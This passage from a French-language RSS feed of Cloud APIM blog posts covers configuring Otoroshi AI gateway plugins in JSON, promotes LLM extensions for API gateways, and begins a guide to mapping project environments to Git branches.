&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;context&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;enabled&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;debug&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;plugin&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;cp:otoroshi.next.plugins.OverrideHost&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;include&quot;&lt;/span&gt;&lt;span&gt;: [],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;exclude&quot;&lt;/span&gt;&lt;span&gt;: [],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;config&quot;&lt;/span&gt;&lt;span&gt;: {}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;enabled&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;debug&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;plugin&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;cp:otoroshi_plugins.com.cloud.apim.otoroshi.extensions.aigateway.plugins.AiLlmProxy&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;include&quot;&lt;/span&gt;&lt;span&gt;: [],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;exclude&quot;&lt;/span&gt;&lt;span&gt;: [],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;config&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;						&quot;ref&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;provider-openai&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;enabled&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;debug&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;plugin&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;cp:otoroshi_plugins.com.cloud.apim.otoroshi.extensions.aigateway.plugins.AiPromptContext&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;include&quot;&lt;/span&gt;&lt;span&gt;: [],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;exclude&quot;&lt;/span&gt;&lt;span&gt;: [],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					&quot;config&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;						&quot;ref&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;ai-context&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		&quot;x-cloud-apim-backends&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			&quot;mirror&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				&quot;targets&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;						&quot;hostname&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;mirror.otoroshi.io&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;						&quot;port&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;443&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;						&quot;tls&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;					}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				&quot;root&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;/&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;				&quot;rewrite&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;			}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;8-pour-aller-plus-loin&quot;&gt;8. Pour aller plus loin&lt;/h3&gt;
&lt;p&gt;Vous pouvez aller plus loin en ajoutant des &lt;em&gt;clés d’API&lt;/em&gt; pour sécuriser vos &lt;strong&gt;endpoints d’IA&lt;/strong&gt;, et utiliser bien d’autres plugins proposés par &lt;strong&gt;Cloud APIM&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Les possibilités de personnalisation de vos endpoints d’API sont illimitées.&lt;/p&gt;
&lt;h2 id=&quot;-conclusion&quot;&gt;✨ Conclusion&lt;/h2&gt;
&lt;p&gt;Créer votre première entité de fournisseur d’IA et votre première entité de contexte peut considérablement enrichir les capacités de votre API gateway.&lt;/p&gt;
&lt;p&gt;En intégrant l’IA, vous offrez à vos utilisateurs des expériences plus intelligentes, plus sûres et personnalisées.&lt;/p&gt;
&lt;p&gt;Suivez les étapes de ce guide pour vous lancer dans l’IA et exploiter tout le potentiel de votre API management.&lt;/p&gt;
&lt;p&gt;Pour vous aider à prendre en main notre nouvelle gamme de plugins, nous avons créé une playlist YouTube qui regroupe toutes nos vidéos sur l’AI Gateway.&lt;/p&gt;
&lt;p class=&quot;embed embed-link&quot;&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PLNHaf5rXAx3FWk7dn2fKGwQXxeLCPhZCh&quot;&gt;https://www.youtube.com/playlist?list=PLNHaf5rXAx3FWk7dn2fKGwQXxeLCPhZCh&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;-lancez-vous-dès-maintenant&quot;&gt;&lt;strong&gt;🚀 Lancez-vous dès maintenant&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Prêt à vous lancer avec &lt;a href=&quot;https://www.cloud-apim.com/fr/serverless&quot;&gt;&lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt;&lt;/a&gt; ?&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;&lt;strong&gt;Inscrivez-vous dès maintenant&lt;/strong&gt;&lt;/a&gt; et faites le premier pas vers un &lt;strong&gt;API management&lt;/strong&gt; sécurisé et efficace !&lt;/p&gt;
&lt;h3 id=&quot;-restez-informé&quot;&gt;&lt;strong&gt;📡 Restez informé&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Suivez notre blog pour ne rien manquer des nouveautés, astuces et bonnes pratiques autour de &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; et de l’&lt;strong&gt;API management&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;-à-propos-de-cloud-apim&quot;&gt;&lt;strong&gt;🏢 À propos de Cloud APIM&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;Cloud APIM&lt;/a&gt; propose des &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;solutions managées de pointe pour l’API management&lt;/a&gt;, qui permettent aux entreprises d’exploiter toute la puissance de leurs API, simplement et efficacement. Notre engagement en faveur de l’innovation et de l’excellence nous pousse à offrir à nos clients &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;les outils&lt;/a&gt; et &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;les services&lt;/a&gt; les plus avancés, pour les aider à atteindre leurs objectifs de transformation numérique.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Thomas Delafaye</dc:creator><dc:creator>Mathieu Ancelin</dc:creator><dc:language>fr</dc:language><category>IA</category><category>LLM</category><category>API gateway</category><category>AI gateway</category><category>API</category><category>API management</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.iw_oKUyc_Z27uAAf.jpg" length="0" type="image/jpeg"/></item><item><title>🤖 L&apos;IA dans votre API gateway : découvrez l&apos;extension LLM d&apos;Otoroshi pour plus d&apos;efficacité et de sécurité 🚀</title><link>https://blog.cloud-apim.com/l-ia-dans-votre-api-gateway-avec-otoroshi-llm</link><guid isPermaLink="true">https://blog.cloud-apim.com/l-ia-dans-votre-api-gateway-avec-otoroshi-llm</guid><description>Gagnez en sécurité et en efficacité grâce à l&apos;IA avec l&apos;extension LLM d&apos;Otoroshi pour votre API gateway : plus de performance, moins de risques.</description><pubDate>Mon, 08 Jul 2024 08:12:46 GMT</pubDate><content:encoded>&lt;h2 id=&quot;introduction-aux-ai-gateways&quot;&gt;Introduction aux AI gateways&lt;/h2&gt;
&lt;p&gt;Les API gateways sont incontournables dans les architectures modernes. Elles gèrent le trafic entre vos services, contrôlent le trafic à destination de vos applications et de vos API, etc.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mais&lt;/strong&gt; et si elles pouvaient faire plus ?&lt;/p&gt;
&lt;p&gt;🌟 L’&lt;strong&gt;IA&lt;/strong&gt; peut transformer votre &lt;strong&gt;API gateway&lt;/strong&gt; et la rendre plus intelligente et plus efficace.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;LLM + API Gateway = AI Gateway ❤️&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Chez &lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;Cloud APIM&lt;/a&gt;, nous avons créé un ensemble de plugins LLM (Large Language Model) pour &lt;a href=&quot;https://www.otoroshi.io/&quot;&gt;Otoroshi&lt;/a&gt;, le reverse proxy et la solution d’API management open source, afin de connecter votre API à un LLM et de profiter de ses capacités.&lt;/p&gt;
&lt;p&gt;Ces plugins seront très bientôt open source ! Restez à l’écoute.&lt;/p&gt;
&lt;p&gt;Dans ce court article, nous allons voir comment l’IA peut vous aider dans de nombreux cas : ajouter du contexte à votre API, créer des templates de prompts, anonymiser des données, et bien plus encore !&lt;/p&gt;
&lt;h2 id=&quot;-intelligence-contextuelle&quot;&gt;💡 Intelligence contextuelle&lt;/h2&gt;
&lt;p&gt;L’IA apporte une intelligence contextuelle. Elle comprend le contexte de vos requêtes d’API. Résultat : des réponses plus intelligentes et plus pertinentes.&lt;/p&gt;
&lt;p&gt;Vos API gagnent en efficacité.&lt;/p&gt;
&lt;p&gt;L’IA peut analyser des tendances et anticiper les besoins des utilisateurs, ce qui améliore l’expérience utilisateur dans son ensemble.&lt;/p&gt;
&lt;p&gt;Un routage qui tient compte du contexte garantit que les bonnes données sont livrées au bon moment, ce qui réduit la latence et améliore les performances.&lt;/p&gt;
&lt;h2 id=&quot;️-templates-de-prompts-dynamiques&quot;&gt;🛠️ Templates de prompts dynamiques&lt;/h2&gt;
&lt;p&gt;L’IA rend possibles les templates de prompts dynamiques.&lt;/p&gt;
&lt;p&gt;Les templates s’ajustent en fonction des données en temps réel.&lt;/p&gt;
&lt;p&gt;Les workflows complexes s’en trouvent simplifiés. C’est la personnalisation dans ce qu’elle a de meilleur.&lt;/p&gt;
&lt;p&gt;Des prompts pilotés par l’IA peuvent guider les utilisateurs dans des processus complexes, réduire les erreurs et améliorer leur satisfaction.&lt;/p&gt;
&lt;p&gt;Grâce aux templates dynamiques, vos API s’adaptent à la volée et proposent des interactions sur mesure, sans intervention manuelle.&lt;/p&gt;
&lt;h2 id=&quot;️️-mieux-protéger-les-données-grâce-à-lanonymisation-par-lia-&quot;&gt;🕵️‍♂️ Mieux protéger les données grâce à l’anonymisation par l’IA 🔒&lt;/h2&gt;
&lt;p&gt;L’anonymisation des données est un élément essentiel de la gestion moderne des données, en particulier dans le contexte des API gateways.&lt;/p&gt;
&lt;p&gt;Les techniques d’anonymisation fondées sur l’IA offrent des méthodes avancées pour protéger les informations sensibles tout en préservant l’utilité des données.&lt;/p&gt;
&lt;p&gt;En intégrant ces techniques à votre API gateway, vous renforcez la confidentialité, assurez votre conformité et préservez la confiance de vos utilisateurs.&lt;/p&gt;
&lt;p&gt;Adoptez l’anonymisation par l’IA pour protéger vos données et en exploiter tout le potentiel de manière responsable.&lt;/p&gt;
&lt;h2 id=&quot;-des-cas-dusage-concrets&quot;&gt;🌍 Des cas d’usage concrets&lt;/h2&gt;
&lt;p&gt;L’IA dans les API gateways, ce n’est pas que de la théorie.&lt;/p&gt;
&lt;p&gt;Partout dans le monde, des entreprises mettent en œuvre ces solutions.&lt;/p&gt;
&lt;p&gt;Les plateformes d’e-commerce, par exemple, utilisent l’IA pour personnaliser l’expérience d’achat.&lt;/p&gt;
&lt;p&gt;Les services financiers s’appuient sur l’IA pour détecter la fraude.&lt;/p&gt;
&lt;p&gt;Les acteurs de la santé utilisent l’IA pour gérer les données des patients en toute sécurité.&lt;/p&gt;
&lt;p&gt;Les possibilités sont infinies.&lt;/p&gt;
&lt;h2 id=&quot;-perspectives&quot;&gt;🚀 Perspectives&lt;/h2&gt;
&lt;p&gt;L’avenir de l’IA dans les API gateways s’annonce prometteur.&lt;/p&gt;
&lt;p&gt;Avec les progrès continus, on peut s’attendre à des fonctionnalités encore plus sophistiquées.&lt;/p&gt;
&lt;p&gt;Analyse prédictive améliorée, intégrations plus poussées, automatisation plus intelligente : tout cela se profile à l’horizon.&lt;/p&gt;
&lt;p&gt;Suivre ces tendances vous permettra de garder un API management à la pointe.&lt;/p&gt;
&lt;h2 id=&quot;-conclusion&quot;&gt;✨ Conclusion&lt;/h2&gt;
&lt;p&gt;L’IA transforme les API gateways en leur apportant intelligence, sécurité et efficacité.&lt;/p&gt;
&lt;p&gt;Envie de révolutionner votre API management ?&lt;/p&gt;
&lt;p&gt;Intégrez l’IA à votre gateway dès aujourd’hui ! 🚀&lt;/p&gt;
&lt;p&gt;✨ Avec l’IA, votre API gateway n’est plus un simple gestionnaire de trafic, mais un outil puissant au service de l’innovation et de la croissance.&lt;/p&gt;
&lt;p&gt;Pour vous aider à prendre en main nos nouveaux plugins, nous avons créé une playlist YouTube qui regroupe toutes nos vidéos sur l’AI gateway.&lt;/p&gt;
&lt;p class=&quot;embed embed-link&quot;&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PLNHaf5rXAx3FWk7dn2fKGwQXxeLCPhZCh&quot;&gt;https://www.youtube.com/playlist?list=PLNHaf5rXAx3FWk7dn2fKGwQXxeLCPhZCh&lt;/a&gt;&lt;/p&gt;
## **🚀** Mettez dès maintenant de l&apos;IA dans votre API gateway !
&lt;p&gt;Si vous souhaitez utiliser les plugins d’IA disponibles pour Otoroshi, vous pouvez le faire dès aujourd’hui via nos deux offres : les &lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;instances Otoroshi managées&lt;/a&gt; et les &lt;a href=&quot;https://www.cloud-apim.com/fr/serverless&quot;&gt;projets Serverless&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;En plus de ces plugins, vous aurez accès à plus de &lt;strong&gt;50 autres plugins&lt;/strong&gt; pour personnaliser et gérer vos API !&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;&lt;strong&gt;Inscrivez-vous dès maintenant&lt;/strong&gt;&lt;/a&gt; et faites le premier pas vers un &lt;strong&gt;API management&lt;/strong&gt; sécurisé et efficace !&lt;/p&gt;
&lt;h2 id=&quot;-restez-à-lécoute&quot;&gt;&lt;strong&gt;📡 Restez à l’écoute&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Suivez notre blog pour découvrir les dernières nouveautés, nos astuces et nos bonnes pratiques autour de &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; et de l’&lt;strong&gt;API management&lt;/strong&gt;.&lt;/p&gt;
&lt;h2 id=&quot;-à-propos-de-cloud-apim&quot;&gt;&lt;strong&gt;🏢 À propos de Cloud APIM&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;Cloud APIM&lt;/a&gt; propose des &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;solutions managées de pointe pour l’API management&lt;/a&gt;, qui permettent aux entreprises d’exploiter tout le potentiel de leurs API, simplement et efficacement. Notre engagement envers l’innovation et l’excellence nous pousse à offrir à nos clients &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;les outils les plus avancés&lt;/a&gt; et &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;des services&lt;/a&gt; qui les aident à mener à bien leur transformation numérique.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Thomas Delafaye</dc:creator><dc:creator>Mathieu Ancelin</dc:creator><dc:language>fr</dc:language><category>AI gateway</category><category>IA</category><category>LLM</category><category>API</category><category>API gateway</category><category>Otoroshi</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.CLRq5EK2_ZniHo5.jpg" length="0" type="image/jpeg"/></item><item><title>🌍 Gérer plusieurs environnements de projet avec Cloud APIM Serverless 🚀</title><link>https://blog.cloud-apim.com/gerer-plusieurs-environnements-avec-cloud-apim-serverless</link><guid isPermaLink="true">https://blog.cloud-apim.com/gerer-plusieurs-environnements-avec-cloud-apim-serverless</guid><description>Cloud APIM Serverless s&apos;appuie sur GitOps pour gérer les environnements de vos projets : chaque environnement est associé à sa propre branche Git.</description><pubDate>Thu, 20 Jun 2024 07:08:08 GMT</pubDate><content:encoded>&lt;p&gt;Dans le développement logiciel moderne, maintenir des environnements séparés est essentiel pour garantir la &lt;strong&gt;qualité&lt;/strong&gt; et la &lt;strong&gt;stabilité&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr/serverless&quot;&gt;&lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt;&lt;/a&gt; s’appuie sur la puissance de GitOps pour vous aider à gérer ces environnements, en permettant d’associer facilement chaque environnement à une &lt;strong&gt;branche Git&lt;/strong&gt; spécifique.&lt;/p&gt;
&lt;p&gt;Dans cet article, nous verrons à quoi servent les environnements et comment les utiliser.&lt;/p&gt;
&lt;div class=&quot;embed embed-video&quot;&gt;&lt;iframe src=&quot;https://www.youtube-nocookie.com/embed/nojzK9O6Ozw&quot; title=&quot;Vidéo YouTube&quot; loading=&quot;lazy&quot; allow=&quot;accelerometer; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/div&gt;
### 🌍 **Pourquoi utiliser plusieurs environnements ?**
&lt;p&gt;Utiliser plusieurs environnements vous permet de :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Tester vos modifications en toute sécurité :&lt;/strong&gt; validez les nouvelles fonctionnalités et les correctifs dans un environnement maîtrisé avant qu’ils n’arrivent en production.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Garantir la stabilité :&lt;/strong&gt; isolez la &lt;em&gt;&lt;strong&gt;production&lt;/strong&gt;&lt;/em&gt; des activités de &lt;em&gt;&lt;strong&gt;développement&lt;/strong&gt;&lt;/em&gt; et de test pour limiter le risque d’introduire des bugs.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Faciliter la collaboration :&lt;/strong&gt; permettez à plusieurs équipes de travailler en parallèle sans se marcher sur les pieds.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;-mettre-en-place-plusieurs-environnements-de-projet&quot;&gt;🚀 &lt;strong&gt;Mettre en place plusieurs environnements de projet&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Créez des branches Git distinctes :&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Commencez par créer, dans votre dépôt Git, une branche distincte pour chaque environnement, par exemple &lt;code&gt;development&lt;/code&gt;, &lt;code&gt;staging&lt;/code&gt; et &lt;code&gt;production&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Assurez-vous que chaque branche reflète l’état de l’environnement correspondant.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Configurez les environnements dans Cloud APIM Serverless :&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Connectez-vous à votre &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;tableau de bord Cloud APIM Serverless&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Rendez-vous dans la section “Projects” et sélectionnez votre projet.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cliquez sur “&lt;em&gt;Environments&lt;/em&gt;” et ajoutez de nouveaux environnements pour le &lt;em&gt;&lt;strong&gt;staging&lt;/strong&gt;&lt;/em&gt; et la &lt;em&gt;&lt;strong&gt;production&lt;/strong&gt;&lt;/em&gt;. Vous pouvez les nommer comme bon vous semble.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;À la création de votre projet, un environnement ’ &lt;em&gt;sandbox&lt;/em&gt; ’ est créé par défaut. C’est un environnement de développement : vous pouvez l’associer à votre branche &lt;code&gt;development&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Associez les branches Git aux environnements :&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Pour chaque environnement, configurez la branche Git correspondante :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Sélectionnez l’environnement (par exemple &lt;code&gt;production&lt;/code&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Associez l’environnement à la branche &lt;code&gt;production&lt;/code&gt; de votre dépôt Git.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Répétez l’opération pour tous vos environnements, en associant chacun à sa branche.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;-les-avantages-denvironnements-séparés&quot;&gt;🌟 &lt;strong&gt;Les avantages d’environnements séparés&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Isolation des modifications&lt;/strong&gt; : des environnements séparés vous permettent de tester de nouvelles fonctionnalités, des mises à jour ou des correctifs de manière isolée, sans toucher à l’environnement de production.&lt;/p&gt;
&lt;p&gt;Cette isolation aide à détecter les bugs et les problèmes au plus tôt, ce qui réduit le risque de les introduire en production.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Réduction des risques&lt;/strong&gt; : en séparant les environnements, vous limitez l’impact d’éventuelles perturbations.&lt;/p&gt;
&lt;p&gt;Les problèmes rencontrés dans l’environnement &lt;code&gt;development&lt;/code&gt; ou &lt;code&gt;staging&lt;/code&gt; peuvent être résolus sans impact pour les utilisateurs finaux, ce qui préserve la stabilité et la fiabilité de l’environnement &lt;code&gt;production&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Sécurité&lt;/strong&gt; : des environnements séparés vous aident aussi à rester en conformité avec les exigences réglementaires, en garantissant que les données sensibles ne sont utilisées que dans les environnements appropriés.&lt;/p&gt;
&lt;p&gt;Ils renforcent également la sécurité en restreignant l’accès aux données et aux systèmes de production, ce qui réduit le risque de modifications non autorisées ou de fuites de données.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;-conclusion&quot;&gt;🎉 &lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Gérer plusieurs environnements à l’aide de branches Git dans &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; améliore votre workflow de développement et garantit un passage fluide et fiable du développement à la production.&lt;/p&gt;
&lt;p&gt;En vous appuyant sur les pratiques &lt;strong&gt;GitOps&lt;/strong&gt;, vous pouvez automatiser vos déploiements, garantir la cohérence et fluidifier la collaboration au sein de votre équipe.&lt;/p&gt;
&lt;p&gt;Commencez dès aujourd’hui à intégrer plusieurs environnements dans votre projet &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; et profitez des avantages d’une solution d’API management robuste, efficace et scalable.&lt;/p&gt;
&lt;h3 id=&quot;-lancez-vous-dès-maintenant&quot;&gt;&lt;strong&gt;🚀 Lancez-vous dès maintenant&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Envie de vous lancer avec &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; ?&lt;/p&gt;
